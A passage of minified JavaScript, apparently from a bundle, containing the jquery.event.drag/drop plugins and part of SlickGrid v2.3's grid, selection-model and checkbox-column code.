t=e.data;switch(e.type){case!t.dragging&&\\\"touchmove\\\":e.preventDefault();case!t.dragging&&\\\"mousemove\\\":if(Math.pow(e.pageX-t.pageX,2)+Math.pow(e.pageY-t.pageY,2)<Math.pow(t.distance,2))break;e.target=t.target,g.hijack(e,\\\"dragstart\\\",t),t.propagates&&(t.dragging=!0);case\\\"touchmove\\\":e.preventDefault();case\\\"mousemove\\\":if(t.dragging){if(g.hijack(e,\\\"drag\\\",t),t.propagates){!1!==t.drop&&o.drop&&o.drop.handler(e,t);break}e.type=\\\"mouseup\\\"}case\\\"touchend\\\":case\\\"mouseup\\\":default:g.touched?h.remove(g.touched,\\\"touchmove touchend\\\",g.handler):h.remove(document,\\\"mousemove mouseup\\\",g.handler),t.dragging&&(!1!==t.drop&&o.drop&&o.drop.handler(e,t),g.hijack(e,\\\"dragend\\\",t)),g.textselect(!0),!1===t.click&&t.dragging&&f.data(t.mousedown,\\\"suppress.click\\\",(new Date).getTime()+5),t.dragging=g.touched=!1}},hijack:function(n,o,r,e,t){if(r){var i,l,s,a={event:n.originalEvent,type:n.type},c=o.indexOf(\\\"drop\\\")?\\\"drag\\\":\\\"drop\\\",u=e||0,d=isNaN(e)?r.interactions.length:e;n.type=o;var p=function(){};n.originalEvent=new f.Event(a.event,{preventDefault:p,stopPropagation:p,stopImmediatePropagation:p}),r.results=[];do{if(l=r.interactions[u]){if(\\\"dragend\\\"!==o&&l.cancelled)continue;s=g.properties(n,r,l),l.results=[],f(t||l[c]||r.droppable).each(function(e,t){if(s.target=t,!(n.isPropagationStopped=function(){return!1})===(i=t?h.dispatch.call(t,n,s):null)?(\\\"drag\\\"==c&&(l.cancelled=!0,r.propagates-=1),\\\"drop\\\"==o&&(l[c][e]=null)):\\\"dropinit\\\"==o&&l.droppable.push(g.element(i)||t),\\\"dragstart\\\"==o&&(l.proxy=f(g.element(i)||l.drag)[0]),l.results.push(i),delete n.result,\\\"dropinit\\\"!==o)return i}),r.results[u]=g.flatten(l.results),\\\"dropinit\\\"==o&&(l.droppable=g.flatten(l.droppable)),\\\"dragstart\\\"!=o||l.cancelled||s.update()}}while(++u<d);return n.type=a.type,n.originalEvent=a.event,g.flatten(r.results)}},properties:function(e,t,n){var o=n.callback;return o.drag=n.drag,o.proxy=n.proxy||n.drag,o.startX=t.pageX,o.startY=t.pageY,o.deltaX=e.pageX-t.pageX,o.deltaY=e.pageY-t.pageY,o.originalX=n.offset.left,o.originalY=n.offset.top,o.offsetX=o.originalX+o.deltaX,o.offsetY=o.originalY+o.deltaY,o.drop=g.flatten((n.drop||[]).slice()),o.available=g.flatten((n.droppable||[]).slice()),o},element:function(e){if(e&&(e.jquery||1==e.nodeType))return e},flatten:function(e){return f.map(e,function(e){return e&&e.jquery?f.makeArray(e):e&&e.length?g.flatten(e):e})},textselect:function(e){f(document)[e?\\\"off\\\":\\\"on\\\"](\\\"selectstart\\\",g.dontstart).css(\\\"MozUserSelect\\\",e?\\\"\\\":\\\"none\\\"),document.unselectable=e?\\\"off\\\":\\\"on\\\"},dontstart:function(){return!1},callback:function(){}};g.callback.prototype={update:function(){o.drop&&this.available.length&&f.each(this.available,function(e){o.drop.locate(this,e)})}};var r=h.dispatch;h.dispatch=function(e){if(!(0<f.data(this,\\\"suppress.\\\"+e.type)-(new Date).getTime()))return r.apply(this,arguments);f.removeData(this,\\\"suppress.\\\"+e.type)},o.draginit=o.dragstart=o.dragend=g},443:function(e,t,n){\\n      /*!\\n           * jquery.event.drop - v 2.3.0\\n           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n           * Open Source MIT License - http://threedubmedia.com/code/license\\n           */\\n      var f=e(448);f.fn.drop=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drop\\\")&&(o=\\\"drop\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)},f.drop=function(e){e=e||{},g.multi=!0===e.multi?1/0:!1===e.multi?1:isNaN(e.multi)?g.multi:e.multi,g.delay=e.delay||g.delay,g.tolerance=f.isFunction(e.tolerance)?e.tolerance:null===e.tolerance?null:g.tolerance,g.mode=e.mode||g.mode||\\\"intersect\\\"};var o=f.event,h=o.special,g=f.event.special.drop={multi:1,delay:20,mode:\\\"overlap\\\",targets:[],datakey:\\\"dropdata\\\",noBubble:!0,add:function(e){var t=f.data(this,g.datakey);t.related+=1},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){f.data(this,g.datakey,{related:0,active:[],anyactive:0,winner:0,location:{}}),g.targets.push(this)}},teardown:function(){var e=f.data(this,g.datakey)||{};if(!e.related){f.removeData(this,g.datakey);var t=this;g.targets=f.grep(g.targets,function(e){return e!==t})}},handler:function(e,t){var n;if(t)switch(e.type){case\\\"mousedown\\\":case\\\"touchstart\\\":n=f(g.targets),\\\"string\\\"==typeof t.drop&&(n=n.filter(t.drop)),n.each(function(){var e=f.data(this,g.datakey);e.active=[],e.anyactive=0,e.winner=0}),t.droppable=n,h.drag.hijack(e,\\\"dropinit\\\",t);break;case\\\"mousemove\\\":case\\\"touchmove\\\":g.event=e,g.timer||g.tolerate(t);break;case\\\"mouseup\\\":case\\\"touchend\\\":g.timer=clearTimeout(g.timer),t.propagates&&(h.drag.hijack(e,\\\"drop\\\",t),h.drag.hijack(e,\\\"dropend\\\",t))}},locate:function(e,t){var n=f.data(e,g.datakey),o=f(e),r=o.offset()||{},i=o.outerHeight(),l=o.outerWidth(),s={elem:e,width:l,height:i,top:r.top,left:r.left,right:r.left+l,bottom:r.top+i};return n&&(n.location=s,n.index=t,n.elem=e),s},contains:function(e,t){return(t[0]||t.left)>=e.left&&(t[0]||t.right)<=e.right&&(t[1]||t.top)>=e.top&&(t[1]||t.bottom)<=e.bottom},modes:{intersect:function(e,t,n){return this.contains(n,[e.pageX,e.pageY])?1e9:this.modes.overlap.apply(this,arguments)},overlap:function(e,t,n){return Math.max(0,Math.min(n.bottom,t.bottom)-Math.max(n.top,t.top))*Math.max(0,Math.min(n.right,t.right)-Math.max(n.left,t.left))},fit:function(e,t,n){return this.contains(n,t)?1:0},middle:function(e,t,n){return this.contains(n,[t.left+.5*t.width,t.top+.5*t.height])?1:0}},sort:function(e,t){return t.winner-e.winner||e.index-t.index},tolerate:function(e){var t,n,o,r,i,l,s,a,c=0,u=e.interactions.length,d=[g.event.pageX,g.event.pageY],p=g.tolerance||g.modes[g.mode];do{if(a=e.interactions[c]){if(!a)return;a.drop=[],i=[],l=a.droppable.length,p&&(o=g.locate(a.proxy)),t=0;do{if(s=a.droppable[t]){if(r=f.data(s,g.datakey),!(n=r.location))continue;r.winner=p?p.call(g,g.event,o,n):g.contains(n,d)?1:0,i.push(r)}}while(++t<l);for(i.sort(g.sort),t=0;(r=i[t])&&(r.winner&&a.drop.length<g.multi?(r.active[c]||r.anyactive||(!1!==h.drag.hijack(g.event,\\\"dropstart\\\",e,c,r.elem)[0]?(r.active[c]=1,r.anyactive+=1):r.winner=0),r.winner&&a.drop.push(r.elem)):r.active[c]&&1==r.anyactive&&(h.drag.hijack(g.event,\\\"dropend\\\",e,c,r.elem),r.active[c]=0,r.anyactive-=1)),++t<l;);}}while(++c<u);g.last&&d[0]==g.last.pageX&&d[1]==g.last.pageY?delete g.timer:g.timer=setTimeout(function(){g.tolerate(e)},g.delay),g.last=g.event}};h.dropinit=h.dropstart=h.dropend=g},444:function(e,t,n){var d=e(448),p=e(446);t.exports={CheckboxSelectColumn:function(e){var l,t=new p.EventHandler,s={},a=d.extend(!0,{},{columnId:\\\"_checkbox_selector\\\",cssClass:null,toolTip:\\\"Select/Deselect All\\\",width:30},e);function n(e,t){var n,o,r=l.getSelectedRows(),i={};for(o=0;o<r.length;o++)n=r[o],i[n]=!0,i[n]!==s[n]&&(l.invalidateRow(n),delete s[n]);for(o in s)l.invalidateRow(o);s=i,l.render(),r.length&&r.length==l.getDataLength()?l.updateColumnHeader(a.columnId,\\\"<input type='checkbox' checked='checked'>\\\",a.toolTip):l.updateColumnHeader(a.columnId,\\\"<input type='checkbox'>\\\",a.toolTip)}function o(e,t){32==e.which&&l.getColumns()[t.cell].id===a.columnId&&(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit()||i(t.row),e.preventDefault(),e.stopImmediatePropagation())}function r(e,t){if(l.getColumns()[t.cell].id===a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();i(t.row),e.stopPropagation(),e.stopImmediatePropagation()}}function i(t){s[t]?l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return e!=t})):l.setSelectedRows(l.getSelectedRows().concat(t))}function c(e,t){if(t.column.id==a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();if(d(e.target).is(\\\":checked\\\")){for(var n=[],o=0;o<l.getDataLength();o++)n.push(o);l.setSelectedRows(n)}else l.setSelectedRows([]);e.stopPropagation(),e.stopImmediatePropagation()}}function u(e,t,n,o,r){return r?s[e]?\\\"<input type='checkbox' checked='checked'>\\\":\\\"<input type='checkbox'>\\\":null}d.extend(this,{init:function(e){l=e,t.subscribe(l.onSelectedRowsChanged,n).subscribe(l.onClick,r).subscribe(l.onHeaderClick,c).subscribe(l.onKeyDown,o)},destroy:function(){t.unsubscribeAll()},deSelectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]&&(o[o.length]=e[t]);l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return o.indexOf(e)<0}))},selectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]||(o[o.length]=e[t]);l.setSelectedRows(l.getSelectedRows().concat(o))},getColumnDefinition:function(){return{id:a.columnId,name:\\\"<input type='checkbox'>\\\",toolTip:a.toolTip,field:\\\"sel\\\",width:a.width,resizable:!1,sortable:!1,cssClass:a.cssClass,formatter:u}}})}}},445:function(e,t,n){var v=e(448),w=e(446);t.exports={RowSelectionModel:function(t){var c,n,o,u=[],r=this,i=new w.EventHandler,l={selectActiveRow:!0};function s(e){return function(){n||(n=!0,e.apply(this,arguments),n=!1)}}function d(e){for(var t=[],n=0;n<e.length;n++)for(var o=e[n].fromRow;o<=e[n].toRow;o++)t.push(o);return t}function p(e){for(var t=[],n=c.getColumns().length-1,o=0;o<e.length;o++)t.push(new w.Range(e[o],0,e[o],n));return t}function a(){return d(u)}function f(e){(u&&0!==u.length||e&&0!==e.length)&&(u=e,r.onSelectedRangesChanged.notify(u))}function h(e,t){o.selectActiveRow&&null!=t.row&&f([new w.Range(t.row,0,t.row,c.getColumns().length-1)])}function g(e){var t=c.getActiveCell();if(t&&e.shiftKey&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&(38==e.which||40==e.which)){var n=a();n.sort(function(e,t){return e-t}),n.length||(n=[t.row]);var o,r=n[0],i=n[n.length-1];if(0<=(o=40==e.which?t.row<i||r==i?++i:++r:t.row<i?--i:--r)&&o<c.getDataLength()){c.scrollRowIntoView(o);var l=p(function(e,t){var n,o=[];for(n=e;n<=t;n++)o.push(n);for(n=t;n<e;n++)o.push(n);return o}(r,i));f(l)}e.preventDefault(),e.stopPropagation()}}function m(e){var n=c.getCellFromEvent(e);if(!n||!c.canCellBeActive(n.row,n.cell))return!1;if(!c.getOptions().multiSelect||!e.ctrlKey&&!e.shiftKey&&!e.metaKey)return!1;var t=d(u),o=v.inArray(n.row,t);if(-1===o&&(e.ctrlKey||e.metaKey))t.push(n.row),c.setActiveCell(n.row,n.cell);else if(-1!==o&&(e.ctrlKey||e.metaKey))t=v.grep(t,function(e,t){return e!==n.row}),c.setActiveCell(n.row,n.cell);else if(t.length&&e.shiftKey){var r=t.pop(),i=Math.min(n.row,r),l=Math.max(n.row,r);t=[];for(var s=i;s<=l;s++)s!==r&&t.push(s);t.push(r),c.setActiveCell(n.row,n.cell)}var a=p(t);return f(a),e.stopImmediatePropagation(),!0}v.extend(this,{getSelectedRows:a,setSelectedRows:function(e){f(p(e))},getSelectedRanges:function(){return u},setSelectedRanges:f,init:function(e){o=v.extend(!0,{},l,t),c=e,i.subscribe(c.onActiveCellChanged,s(h)),i.subscribe(c.onKeyDown,s(g)),i.subscribe(c.onClick,s(m))},destroy:function(){i.unsubscribeAll()},onSelectedRangesChanged:new w.Event})}}},446:function(e,t,n){function l(){var e=!1,t=!1;this.stopPropagation=function(){e=!0},this.isPropagationStopped=function(){return e},this.stopImmediatePropagation=function(){t=!0},this.isImmediatePropagationStopped=function(){return t}}function o(){this.__nonDataRow=!0}function r(){this.__group=!0,this.level=0,this.count=0,this.value=null,this.title=null,this.collapsed=!1,this.selectChecked=!1,this.totals=null,this.rows=[],this.groups=null,this.groupingKey=null}function i(){this.__groupTotals=!0,this.group=null,this.initialized=!1}function s(){var t=null;this.isActive=function(e){return e?t===e:null!==t},this.activate=function(e){if(e!==t){if(null!==t)throw new Error(\\\"SlickGrid.EditorLock.activate: an editController is still active, can't activate another editController\\\");if(!e.commitCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .commitCurrentEdit()\\\");if(!e.cancelCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .cancelCurrentEdit()\\\");t=e}},this.deactivate=function(e){if(t!==e)throw new Error(\\\"SlickGrid.EditorLock.deactivate: specified editController is not the currently active one\\\");t=null},this.commitCurrentEdit=function(){return!t||t.commitCurrentEdit()},this.cancelCurrentEdit=function(){return!t||t.cancelCurrentEdit()}}(r.prototype=new o).equals=function(e){return this.value===e.value&&this.count===e.count&&this.collapsed===e.collapsed&&this.title===e.title},i.prototype=new o,t.exports={Event:function(){var i=[];this.subscribe=function(e){i.push(e)},this.unsubscribe=function(e){for(var t=i.length-1;0<=t;t--)i[t]===e&&i.splice(t,1)},this.notify=function(e,t,n){var o;t=t||new l,n=n||this;for(var r=0;r<i.length&&!t.isPropagationStopped()&&!t.isImmediatePropagationStopped();r++)o=i[r].call(n,t,e);return o}},EventData:l,EventHandler:function(){var o=[];this.subscribe=function(e,t){return o.push({event:e,handler:t}),e.subscribe(t),this},this.unsubscribe=function(e,t){for(var n=o.length;n--;)if(o[n].event===e&&o[n].handler===t)return o.splice(n,1),void e.unsubscribe(t);return this},this.unsubscribeAll=function(){for(var e=o.length;e--;)o[e].event.unsubscribe(o[e].handler);return o=[],this}},Range:function(e,t,n,o){void 0===n&&void 0===o&&(n=e,o=t);this.fromRow=Math.min(e,n),this.fromCell=Math.min(t,o),this.toRow=Math.max(e,n),this.toCell=Math.max(t,o),this.isSingleRow=function(){return this.fromRow==this.toRow},this.isSingleCell=function(){return this.fromRow==this.toRow&&this.fromCell==this.toCell},this.contains=function(e,t){return e>=this.fromRow&&e<=this.toRow&&t>=this.fromCell&&t<=this.toCell},this.toString=function(){return this.isSingleCell()?\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\")\\\":\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\" - \\\"+this.toRow+\\\":\\\"+this.toCell+\\\")\\\"}},NonDataRow:o,Group:r,GroupTotals:i,EditorLock:s,GlobalEditorLock:new s,keyCode:{BACKSPACE:8,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,ESC:27,HOME:36,INSERT:45,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,RIGHT:39,TAB:9,UP:38,C:67,V:86},preClickClassName:\\\"slick-edit-preclick\\\"}},447:function _(require,module,exports){\\n      /**\\n           * @license\\n           * (c) 2009-2016 Michael Leibman\\n           * michael{dot}leibman{at}gmail{dot}com\\n           * http://github.com/mleibman/slickgrid\\n           *\\n           * Distributed under MIT license.\\n           * All rights reserved.\\n           *\\n           * SlickGrid v2.3\\n           *\\n           * NOTES:\\n           *     Cell/row DOM manipulations are done directly bypassing jQuery's DOM manipulation methods.\\n           *     This increases the speed dramatically, but can only be done safely because there are no event handlers\\n           *     or data associated with any cell/row DOM nodes.  Cell editors must make sure they implement .destroy()\\n           *     and do proper cleanup.\\n           */\\n      var $=require(448),Slick=require(446),scrollbarDimensions,maxSupportedCssHeight;function SlickGrid(container,data,columns,options){$.fn.drag||require(442),$.fn.drop||require(443);var defaults={explicitInitialization:!1,rowHeight:25,defaultColumnWidth:80,enableAddRow:!1,leaveSpaceForNewRows:!1,editable:!1,autoEdit:!0,enableCellNavigation:!0,enableColumnReorder:!0,asyncEditorLoading:!1,asyncEditorLoadDelay:100,forceFitColumns:!1,enableAsyncPostRender:!1,asyncPostRenderDelay:50,enableAsyncPostRenderCleanup:!1,asyncPostRenderCleanupDelay:40,autoHeight:!1,editorLock:Slick.GlobalEditorLock,showHeaderRow:!1,headerRowHeight:25,createFooterRow:!1,showFooterRow:!1,footerRowHeight:25,createPreHeaderPanel:!1,showPreHeaderPanel:!1,preHeaderPanelHeight:25,showTopPanel:!1,topPanelHeight:25,formatterFactory:null,editorFactory:null,cellFlashingCssClass:\\\"flashing\\\",selectedCellCssClass:\\\"selected\\\",multiSelect:!0,enableTextSelectionOnCells:!1,dataItemColumnValueExtractor:null,fullWidthRows:!1,multiColumnSort:!1,numberedMultiColumnSort:!1,tristateMultiColumnSort:!1,defaultFormatter:defaultFormatter,forceSyncScrolling:!1,addNewRowCssClass:\\\"new-row\\\",preserveCopiedSelectionOnPaste:!1,showCellSelection:!0},columnDefaults={name:\\\"\\\",resizable:!0,sortable:!1,minWidth:30,rerenderOnResize:!1,headerCssClass:null,defaultSortAsc:!0,focusable:!0,selectable:!0},th,h,ph,n,cj,page=0,offset=0,vScrollDir=1,initialized=!1,$container,uid=\\\"slickgrid_\\\"+Math.round(1e6*Math.random()),self=this,$focusSink,$focusSink2,$headerScroller,$headers,$headerRow,$headerRowScroller,$headerRowSpacer,$footerRow,$footerRowScroller,$footerRowSpacer,$preHeaderPanel,$preHeaderPanelScroller,$preHeaderPanelSpacer,$topPanelScroller,$topPanel,$viewport,$canvas,$style,$boundAncestors,stylesheet,columnCssRulesL,columnCssRulesR,viewportH,viewportW,canvasWidth,viewportHasHScroll,viewportHasVScroll,headerColumnWidthDiff=0,headerColumnHeightDiff=0,cellWidthDiff=0,cellHeightDiff=0,jQueryNewWidthBehaviour=!1,absoluteColumnMinWidth,sortIndicatorCssClass=\\\"slick-sort-indicator\\\",tabbingDirection=1,activePosX,activeRow,activeCell,activeCellNode=null,currentEditor=null,serializedEditorValue,editController,rowsCache={},renderedRows=0,numVisibleRows,prevScrollTop=0,scrollTop=0,lastRenderedScrollTop=0,lastRenderedScrollLeft=0,prevScrollLeft=0,scrollLeft=0,selectionModel,selectedRows=[],plugins=[],cellCssClasses={},columnsById={},sortColumns=[],columnPosLeft=[],columnPosRight=[],pagingActive=!1,pagingIsLastPage=!1,h_editorLoader=null,h_render=null,h_postrender=null,h_postrenderCleanup=null,postProcessedRows={},postProcessToRow=null,postProcessFromRow=null,postProcessedCleanupQueue=[],postProcessgroupId=0,counter_rows_rendered=0,counter_rows_removed=0,rowNodeFromLastMouseWheelEvent,zombieRowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent,cssShow={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},$hiddenParents,oldProps=[];function init(){if(($container=container instanceof $?container:$(container)).length<1)throw new Error(\\\"SlickGrid requires a valid container, \\\"+container+\\\" does not exist in the DOM.\\\");cacheCssForHiddenInit(),maxSupportedCssHeight=maxSupportedCssHeight||getMaxSupportedCssHeight(),scrollbarDimensions=scrollbarDimensions||measureScrollbar(),options=$.extend({},defaults,options),validateAndEnforceOptions(),columnDefaults.width=options.defaultColumnWidth,columnsById={};for(var e=0;e<columns.length;e++){var t=columns[e]=$.extend({},columnDefaults,columns[e]);columnsById[t.id]=e,t.minWidth&&t.width<t.minWidth&&(t.width=t.minWidth),t.maxWidth&&t.width>t.maxWidth&&(t.width=t.maxWidth)}if(options.enableColumnReorder&&!$.fn.sortable)throw new Error(\\\"SlickGrid's 'enableColumnReorder = true' option requires jquery-ui.sortable module to be loaded\\\");editController={commitCurrentEdit:commitCurrentEdit,cancelCurrentEdit:cancelCurrentEdit},$container.empty().css(\\\"overflow\\\",\\\"hidden\\\").css(\\\"outline\\\",0).addClass(uid).addClass(\\\"ui-widget\\\"),/relative|absolute|fixed/.test($container.css(\\\"position\\\"))||$container.css(\\\"position\\\",\\\"relative\\\"),$focusSink=$(\\\"<div tabIndex='0' hideFocus style='position:fixed;width:0;height:0;top:0;left:0;outline:0;'></div>\\\").appendTo($container),options.createPreHeaderPanel&&($preHeaderPanelScroller=$(\\\"<div class='slick-preheader-panel ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$preHeaderPanel=$(\\\"<div />\\\").appendTo($preHeaderPanelScroller),$preHeaderPanelSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($preHeaderPanelScroller),options.showPreHeaderPanel||$preHeaderPanelScroller.hide()),$headerScroller=$(\\\"<div class='slick-header ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),($headers=$(\\\"<div class='slick-header-columns' style='left:-1000px' />\\\").appendTo($headerScroller)).width(getHeadersWidth()),$headerRowScroller=$(\\\"<div class='slick-headerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$headerRow=$(\\\"<div class='slick-headerrow-columns' />\\\").appendTo($headerRowScroller),$headerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($headerRowScroller),$topPanelScroller=$(\\\"<div class='slick-top-panel-scroller ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$topPanel=$(\\\"<div class='slick-top-panel' style='width:10000px' />\\\").appendTo($topPanelScroller),options.showTopPanel||$topPanelScroller.hide(),options.showHeaderRow||$headerRowScroller.hide(),($viewport=$(\\\"<div class='slick-viewport' style='width:100%;overflow:auto;outline:0;position:relative;;'>\\\").appendTo($container)).css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),$canvas=$(\\\"<div class='grid-canvas' />\\\").appendTo($viewport),options.createFooterRow&&($footerRowScroller=$(\\\"<div class='slick-footerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$footerRow=$(\\\"<div class='slick-footerrow-columns' />\\\").appendTo($footerRowScroller),$footerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($footerRowScroller),options.showFooterRow||$footerRowScroller.hide()),options.numberedMultiColumnSort&&(sortIndicatorCssClass=\\\"slick-sort-indicator-numbered\\\"),$focusSink2=$focusSink.clone().appendTo($container),options.explicitInitialization||finishInitialization()}function finishInitialization(){initialized||(initialized=!0,viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),measureCellPaddingAndBorder(),disableSelection($headers),options.enableTextSelectionOnCells||$viewport.on(\\\"selectstart.ui\\\",function(e){return $(e.target).is(\\\"input,textarea\\\")}),updateColumnCaches(),createColumnHeaders(),setupColumnSort(),createCssRules(),resizeCanvas(),bindAncestorScrollEvents(),$container.on(\\\"resize.slickgrid\\\",resizeCanvas),$viewport.on(\\\"scroll\\\",handleScroll),$headerScroller.on(\\\"contextmenu\\\",handleHeaderContextMenu).on(\\\"click\\\",handleHeaderClick).on(\\\"mouseenter\\\",\\\".slick-header-column\\\",handleHeaderMouseEnter).on(\\\"mouseleave\\\",\\\".slick-header-column\\\",handleHeaderMouseLeave),$headerRowScroller.on(\\\"scroll\\\",handleHeaderRowScroll),options.createFooterRow&&$footerRowScroller.on(\\\"scroll\\\",handleFooterRowScroll),options.createPreHeaderPanel&&$preHeaderPanelScroller.on(\\\"scroll\\\",handlePreHeaderPanelScroll),$focusSink.add($focusSink2).on(\\\"keydown\\\",handleKeyDown),$canvas.on(\\\"keydown\\\",handleKeyDown).on(\\\"click\\\",handleClick).on(\\\"dblclick\\\",handleDblClick).on(\\\"contextmenu\\\",handleContextMenu).on(\\\"draginit\\\",handleDragInit).on(\\\"dragstart\\\",{distance:3},handleDragStart).on(\\\"drag\\\",handleDrag).on(\\\"dragend\\\",handleDragEnd).on(\\\"mouseenter\\\",\\\".slick-cell\\\",handleMouseEnter).on(\\\"mouseleave\\\",\\\".slick-cell\\\",handleMouseLeave),navigator.userAgent.toLowerCase().match(/webkit/)&&navigator.userAgent.toLowerCase().match(/macintosh/)&&$canvas.on(\\\"mousewheel\\\",handleMouseWheel),restoreCssFromHiddenInit())}function cacheCssForHiddenInit(){($hiddenParents=$container.parents().addBack().not(\\\":visible\\\")).each(function(){var e={};for(var t in cssShow)e[t]=this.style[t],this.style[t]=cssShow[t];oldProps.push(e)})}function restoreCssFromHiddenInit(){$hiddenParents.each(function(e){var t=oldProps[e];for(var n in cssShow)this.style[n]=t[n]})}function registerPlugin(e){plugins.unshift(e),e.init(self)}function unregisterPlugin(e){for(var t=plugins.length;0<=t;t--)if(plugins[t]===e){plugins[t].destroy&&plugins[t].destroy(),plugins.splice(t,1);break}}function setSelectionModel(e){selectionModel&&(selectionModel.onSelectedRangesChanged.unsubscribe(handleSelectedRangesChanged),selectionModel.destroy&&selectionModel.destroy()),(selectionModel=e)&&(selectionModel.init(self),selectionModel.onSelectedRangesChanged.subscribe(handleSelectedRangesChanged))}function getSelectionModel(){return selectionModel}function getCanvasNode(){return $canvas[0]}function measureScrollbar(){var e=$(\\\"<div style='position:absolute; top:-10000px; left:-10000px; width:100px; height:100px; overflow:scroll;'></div>\\\").appendTo(\\\"body\\\"),t={width:e.width()-e[0].clientWidth,height:e.height()-e[0].clientHeight};return e.remove(),t}function getColumnTotalWidth(e){for(var t=0,n=0,o=columns.length;n<o;n++){var r=columns[n].width;t+=r}return e&&(t+=scrollbarDimensions.width),t}function getHeadersWidth(){var e=getColumnTotalWidth(!0);return Math.max(e,viewportW)+1e3}function getCanvasWidth(){for(var e=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW,t=0,n=columns.length;n--;)t+=columns[n].width;return options.fullWidthRows?Math.max(t,e):t}function updateCanvasWidth(e){var t=canvasWidth;(canvasWidth=getCanvasWidth())!=t&&($canvas.width(canvasWidth),$headerRow.width(canvasWidth),options.createFooterRow&&$footerRow.width(canvasWidth),options.createPreHeaderPanel&&$preHeaderPanel.width(canvasWidth),$headers.width(getHeadersWidth()),viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width);var n=canvasWidth+(viewportHasVScroll?scrollbarDimensions.width:0);$headerRowSpacer.width(n),options.createFooterRow&&$footerRowSpacer.width(n),options.createPreHeaderPanel&&$preHeaderPanelSpacer.width(n),(canvasWidth!=t||e)&&applyColumnWidths()}function disableSelection(e){e&&e.jquery&&e.attr(\\\"unselectable\\\",\\\"on\\\").css(\\\"MozUserSelect\\\",\\\"none\\\").on(\\\"selectstart.ui\\\",function(){return!1})}function getMaxSupportedCssHeight(){for(var e=1e6,t=navigator.userAgent.toLowerCase().match(/firefox/)?6e6:1e9,n=$(\\\"<div style='display:none' />\\\").appendTo(document.body);;){var o=2*e;if(n.css(\\\"height\\\",o),t<o||n.height()!==o)break;e=o}return n.remove(),e}function getUID(){return uid}function getHeaderColumnWidthDiff(){return headerColumnWidthDiff}function getScrollbarDimensions(){return scrollbarDimensions}function bindAncestorScrollEvents(){for(var e=$canvas[0];(e=e.parentNode)!=document.body&&null!=e;)if(e==$viewport[0]||e.scrollWidth!=e.clientWidth||e.scrollHeight!=e.clientHeight){var t=$(e);$boundAncestors=$boundAncestors?$boundAncestors.add(t):t,t.on(\\\"scroll.\\\"+uid,handleActiveCellPositionChange)}}function unbindAncestorScrollEvents(){$boundAncestors&&($boundAncestors.off(\\\"scroll.\\\"+uid),$boundAncestors=null)}function updateColumnHeader(e,t,n){if(initialized){var o=getColumnIndex(e);if(null!=o){var r=columns[o],i=$headers.children().eq(o);i&&(void 0!==t&&(columns[o].name=t),void 0!==n&&(columns[o].toolTip=n),trigger(self.onBeforeHeaderCellDestroy,{node:i[0],column:r,grid:self}),i.attr(\\\"title\\\",n||\\\"\\\").children().eq(0).html(t),trigger(self.onHeaderCellRendered,{node:i[0],column:r,grid:self}))}}}function getHeaderRow(){return $headerRow[0]}function getFooterRow(){return $footerRow[0]}function getPreHeaderPanel(){return $preHeaderPanel[0]}function getHeaderRowColumn(e){var t=getColumnIndex(e),n=$headerRow.children().eq(t);return n&&n[0]}function getFooterRowColumn(e){var t=getColumnIndex(e),n=$footerRow.children().eq(t);return n&&n[0]}function createColumnHeaders(){function e(){$(this).addClass(\\\"ui-state-hover\\\")}function t(){$(this).removeClass(\\\"ui-state-hover\\\")}$headers.find(\\\".slick-header-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderCellDestroy,{node:this,column:e,grid:self})}),$headers.empty(),$headers.width(getHeadersWidth()),$headerRow.find(\\\".slick-headerrow-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderRowCellDestroy,{node:this,column:e,grid:self})}),$headerRow.empty(),options.createFooterRow&&($footerRow.find(\\\".slick-footerrow-column\\\").each(function(){var 